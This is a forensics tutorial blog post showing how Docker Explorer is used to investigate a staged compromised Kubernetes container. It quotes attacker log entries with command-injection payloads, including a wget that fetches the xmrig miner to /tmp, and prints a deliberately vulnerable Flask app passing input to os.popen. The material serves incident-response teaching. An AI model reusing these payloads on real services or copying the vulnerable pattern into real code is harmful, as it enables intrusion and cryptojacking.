Container Forensics with Docker Explorer

osdfir.blogspot.com/2021/01/container-forensics-with-docker-explorer.html

Jonathan Greig

Introduction

As previous blog posts on cloud forensics have noted, applications are increasingly being deployed using container orchestration frameworks such as Kubernetes, especially in cloud environments.

Similar to traditional deployments on physical servers or virtual machines (VMs), when a containerised application has a security issue it can lead to a compromise of the underlying compute architecture. In the case of container deployments this means a compromise of the container itself, the container host, or even a wider cluster compromise via abuse of orchestration tools. Often digital forensics is required to establish what went wrong and remediate any issues.

This article will provide an introduction to container forensics with Docker Explorer by working through a scenario involving a compromised container running within a Kubernetes cluster. Although Kubernetes is briefly mentioned, this article will focus on analysis of an individual container rather than the wider cluster or container host.

Containers

Often compared to virtual machines (VMs), containers use operating system features to partition system resources, allowing applications to run in an isolated environment.

While containers are enabled by features at the operating system level, they are generally managed at a higher level of abstraction. Container tooling generally falls into two categories relevant for this blog post:

1. Tools for managing individual containers such as Docker, sometimes referred to as a container "runtime". These tools generally handle starting and stopping containers on a single host, and managing container images.
2. Frameworks for managing a whole cluster of containers and their deployment across multiple hosts such as Kubernetes, often referred to as container orchestration tools. These tools manage whole groups of containers generally representing an application deployment.

This blog post will mostly focus on analysis of an individual container rather than a cluster or container host, however, it is useful to be knowledgeable about all levels as containers are more often than not deployed within a cluster.

Container Forensics

The main elements of interest from a digital forensics perspective are how containers store data and how they export logs.

Container Filesystems

Containers use union filesystems to maintain shared lower image layers and reduce disk usage, this means that in order to get a full view of a container's filesystem, all layers within the chain have to be mounted. While this can be done manually, Docker Explorer has functionality to mount all the layers in a chain given a container identifier which can speed up this process.

Container Logging

Generally Docker exports a containerised application's logs on the container host in the form of a JSON file within the Docker directory.

Scenario

The following scenario will help to demonstrate how Docker Explorer can assist analysis.

The scenario is based around a vulnerable application being deployed within a Kubernetes cluster which is subsequently exploited to run a cryptocurrency miner. It assumes that a snapshot of the affected VM hosting the container has already been taken and used to create a disk copy which has been attached to an analysis VM. This can be achieved using Cloud Forensic Utils in conjunction with DFTimewolf.

Setting Up

Ensure the analysis VM has a working Python 3 environment with the venv module installed:

```
user@instance-1:~$ sudo apt install python3 python3-venv
```

Create and activate a Python virtualenv then install wheel and Docker Explorer:

```
user@instance-1:~$ python3 -m venv de-venv
user@instance-1:~$ source de-venv/bin/activate
(de-venv) user@instance-1:~$ pip install wheel docker-explorer
```

Once everything is installed, mount the compromised VM image:

```
(de-venv) user@instance-1:~$ sudo mount -o ro,noload /dev/sdb1 /mnt/evidence
(de-venv) user@instance-1:~$ ls /mnt/evidence/
dev_image  etc  home  lost+found  var  var_overlay  vmlinuz_hd.vblock
```

Identifying the Compromised Container

Running Docker Explorer against the Docker directory with the "list all_containers" command returns too much output to be useful. This is fairly common on Kubernetes nodes as they run a number of containers as part of Kubernetes:

```
(de-venv) user@instance-1:~$ sudo /home/user/de-venv/bin/de.py -r /mnt/evidence/var/lib/docker list all_containers
[
    {
        "image_name": "k8s.gcr.io/pause:3.1",
        "container_id": "2d2bad9c1e80f00686266b688ab7c9e820e051e4fd878687b94bb49126bc4ea2",
        "image_id": "da86e6ba6ca197bf6bc5e9d900febd906b133eaa4750e6bed647b0fbe50ed43e",
        "labels": {
[...]
        ],
        "upper_dir": "/mnt/evidence/var/lib/docker/overlay2/b732cf1734815e9b20f0af70f7a6cbd8d73ac4a751746b2942d08d2e44378485/diff",
        "log_path":
"/var/lib/docker/containers/47b84b9cce961a23a60cac1c10423c7f2590b9ef9ad1a2df6c73bc7e0222fe44/47b84b9cce961a23a60cac1c10423
json.log"
    }
]
```

The jq JSON filtering tool can be used to filter for values of interest such as the the image_name:

```
(de-venv) user@instance-1:~$ sudo /home/user/de-venv/bin/de.py -r /mnt/evidence/var/lib/docker list all_containers |jq '.[].image_name'
"k8s.gcr.io/pause:3.1"
"k8s.gcr.io/pause:3.1"
"gcr.io/gke-release/gke-metrics-agent@sha256:9ba59e40ac1bccf7fce37903a3ef51d865d376f46907d7667f2e8b79d839ef58"
[...]
"gcr.io/your-project-name/ping@sha256:a602dc7145ecbe4a744e48b2913581eeb290d32d03de9b9d3bf80586d094dda1"
"gcr.io/your-project-name/ping@sha256:a602dc7145ecbe4a744e48b2913581eeb290d32d03de9b9d3bf80586d094dda1"
```

This shows that most of the containers are part of Kubernetes however the last two come from a private repository and are worthwhile investigating.

Narrowing down on these two with jq we can find the two container_ids and logs of interest:

```
(de-venv) user@instance-1:~$ sudo /home/user/de-venv/bin/de.py -r /mnt/evidence/var/lib/docker list all_containers | jq '.[] | select(.image_na
name/ping"))'

{

  "image_name": "gcr.io/your-project-name/ping@sha256:a602dc7145ecbe4a744e48b2913581eeb290d32d03de9b9d3bf80586d094dda1",

  "container_id": "d476e8757520a5333eb149ea5454398fff90a72d824c5a754488b58b2d2cf824",

[...]

  "log_path":
"/var/lib/docker/containers/d476e8757520a5333eb149ea5454398fff90a72d824c5a754488b58b2d2cf824/d476e8757520a5333eb149ea5454
json.log"

}

{

  "image_name": "gcr.io/your-project-name/ping@sha256:a602dc7145ecbe4a744e48b2913581eeb290d32d03de9b9d3bf80586d094dda1",

  "container_id": "47b84b9cce961a23a60cac1c10423c7f2590b9ef9ad1a2df6c73bc7e0222fe44",

[...]

  "upper_dir": "/mnt/evidence/var/lib/docker/overlay2/b732cf1734815e9b20f0af70f7a6cbd8d73ac4a751746b2942d08d2e44378485/diff",

  "log_path":
"/var/lib/docker/containers/47b84b9cce961a23a60cac1c10423c7f2590b9ef9ad1a2df6c73bc7e0222fe44/47b84b9cce961a23a60cac1c10423
json.log"

}
```

Analysing the Container Logs

Now that we have two suspect containers, the next step is to examine the logs and see if anything stands out:

```
(de-venv) user@instance-1:~$ sudo cat
/mnt/evidence/var/lib/docker/containers/d476e8757520a5333eb149ea5454398fff90a72d824c5a754488b58b2d2cf824/d476e8757520a5333e


{"log":"10.48.0.1 - - [24/Nov/2020 04:14:53] \"\u001b[33mGET /favicon.ico HTTP/1.1\u001b[0m\" 404 -\n","stream":"stderr","time":"2020-11-2

{"log":"10.48.0.1 - - [24/Nov/2020 04:15:26] \"\u001b[33mGET /admin HTTP/1.1\u001b[0m\" 404 -\n","stream":"stderr","time":"2020-11-24T04

{"log":"10.48.0.1 - - [24/Nov/2020 04:16:22] \"\u001b[33mGET /login HTTP/1.1\u001b[0m\" 404 -\n","stream":"stderr","time":"2020-11-24T04:

{"log":"ping: t: No address associated with hostname\n","stream":"stderr","time":"2020-11-24T04:16:42.041364378Z"}

{"log":"10.48.0.1 - - [24/Nov/2020 04:16:42] \"\u001b[37mGET /?target=t HTTP/1.1\u001b[0m\" 200 -\n","stream":"stderr","time":"2020-11-24T

{"log":"10.48.0.1 - - [24/Nov/2020 04:17:20] \"\u001b[37mGET /?target=localhost;id HTTP/1.1\u001b[0m\" 200 -\n","stream":"stderr","time":"2

{"log":"Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]\n","stream":"stderr","time":"2020-11-24T04:17:59.75830223

{"log":"            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]\n","stream":"stderr","time":"2020-11-24T04:17:59.758350802Z"

{"log":"            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]\n","stream":"stderr","time":"2020-11-24T04:17:59.758356687Z"}

{"log":"            [-w deadline] [-W timeout] [hop1 ...] destination\n","stream":"stderr","time":"2020-11-24T04:17:59.758360664Z"}

{"log":"10.48.0.1 - - [24/Nov/2020 04:18:02] \"\u001b[37mGET /?target=;wget%20https://github.com/xmrig/xmrig/releases/download/v6.6.0/xr
HTTP/1.1\u001b[0m\" 200 -\n","stream":"stderr","time":"2020-11-24T04:18:02.440943835Z"}
```

Something looks suspicious in the logs, the usage message for ping is being printed, suggesting that this application is running shell commands with incorrect arguments. Further review shows:

What looks like some initial probing:

```
GET /admin HTTP/1.1
```

Followed by the discovery of a possible command injection vulnerability:

```
GET /?target=localhost;id HTTP/1.1
```

And then a cryptominer being downloaded

```
GET /?target=;wget https://github.com/xmrig/xmrig/releases/download/v6.6.0/ xmrig-6.6.0-linux-static-x64.tar.gz -q -O /tmp/a
```

Mounting the Container Filesystem

At this point it seems we have found the source of the issue and we have a suspect file path "/tmp/a" (relative to the root of the container's own filesystem) but mounting the container will confirm our hypothesis:

```
(de-venv) user@instance-1:~$ sudo /home/user/de-venv/bin/de.py -r /mnt/evidence/var/lib/docker mount
d476e8757520a5333eb149ea5454398fff90a72d824c5a754488b58b2d2cf824 /mnt/container

(de-venv) user@instance-1:~$ sudo ls -al /mnt/container/tmp/

total 2396

drwxrwxrwt 1 root     root             4096 Nov 24 04:18 .

drwxr-xr-x 1 root     root             4096 Nov 24 04:14 ..

-rw-r--r-- 1 root     root          2439889 Nov 24 02:44 a

drwxr-sr-x 2 root     root             4096 Nov 24 02:29 xmrig-6.6.0
```

As suspected, the xmrig cryptocurrency miner has been downloaded and run via the vulnerability.

A note on clusters: Oftentimes when an application is deployed within a Kubernetes cluster, data is stored on a separate persistent volume. If you can't find what you're looking for on a container filesystem it is worth taking a look at the broader cluster to see if there are any persistent volumes, the Docker Explorer mount command will have noted if there were any volumes it couldn't find during mounting. If all disks attached to the compromised VM were copied with cloud-forensic-utils, the disk backing the volume should have been copied as well and should be mounted and analysed separately.

Viewing Container History

Viewing container history can be useful to get further context on what is running in the container and determine how it was compromised.

Running the Docker Explorer history command shows that it is running a Python application called "ping.py":

```
(de-venv) user@instance-1:~$ sudo /home/user/de-venv/bin/de.py -r /mnt/evidence/var/lib/docker history
d476e8757520a5333eb149ea5454398fff90a72d824c5a754488b58b2d2cf82

{
    "sha256:86784ef3d3c7ca3485887c7a7a0d65db45640afd939eab953978258d9b0e6ae7": {
        "created_at": "2020-11-23T08:34:25.354126",
        "container_cmd": "/bin/sh -c #(nop)  CMD [\"python\" \"/app/ping.py\"]",
        "size": 0
    }
}
```

Having a quick look at this file confirms the hypothesis about a command injection vulnerability:

```
(de-venv) user@instance-1:~$ sudo cat /mnt/container/app/ping.py
import os

from flask import Flask, request, jsonify

app = Flask(__name__)
app.config['JSONIFY_PRETTYPRINT_REGULAR'] = True

@app.route("/")
def ping():
    target = request.args.get('target')
    output = None
    if target:
        # VULNERABLE do not do this
        stream = os.popen('ping -c 2 ' + target)
        output = stream.read()
    return jsonify({'target': target, "output": output})

if __name__ == "__main__":
    app.run(host="0.0.0.0")
```

At this point it would be worthwhile reviewing the rest of the logs to see what other commands have been run through the vulnerability and perform standard digital forensics on the mounted image such as generating timelines.

Although out of scope for this blog, it is important to note that a container compromise can lead to a wider cluster/cloud environment compromise and this should be considered in any investigation of a compromised container.

Conclusion

Although fairly contrived, the example scenario has demonstrated some of the basics of container forensics, how to find the compromised container on a host and how to access the relevant forensic data. Oftentimes the compromised container won't be quite as obvious but the basic steps will be the same.

While these steps can be carried out manually, Docker Explorer can greatly speed up analysis by helping to triage all containers on a host and mounting a container's filesystem in one step.

References

- Docker Explorer: https://github.com/google/docker-explorer
- Cloud Forensic Utils: https://github.com/google/cloud-forensics-utils
- DF Timewolf: https://github.com/log2timeline/dftimewolf
- Kubernetes Security: https://kubernetes.io/docs/concepts/security/
- Kubernetes Persistent Volumes: https://kubernetes.io/docs/concepts/storage/persistent-volumes/
- Command Injection Vulnerabilities: https://owasp.org/www-community/attacks/Command_Injection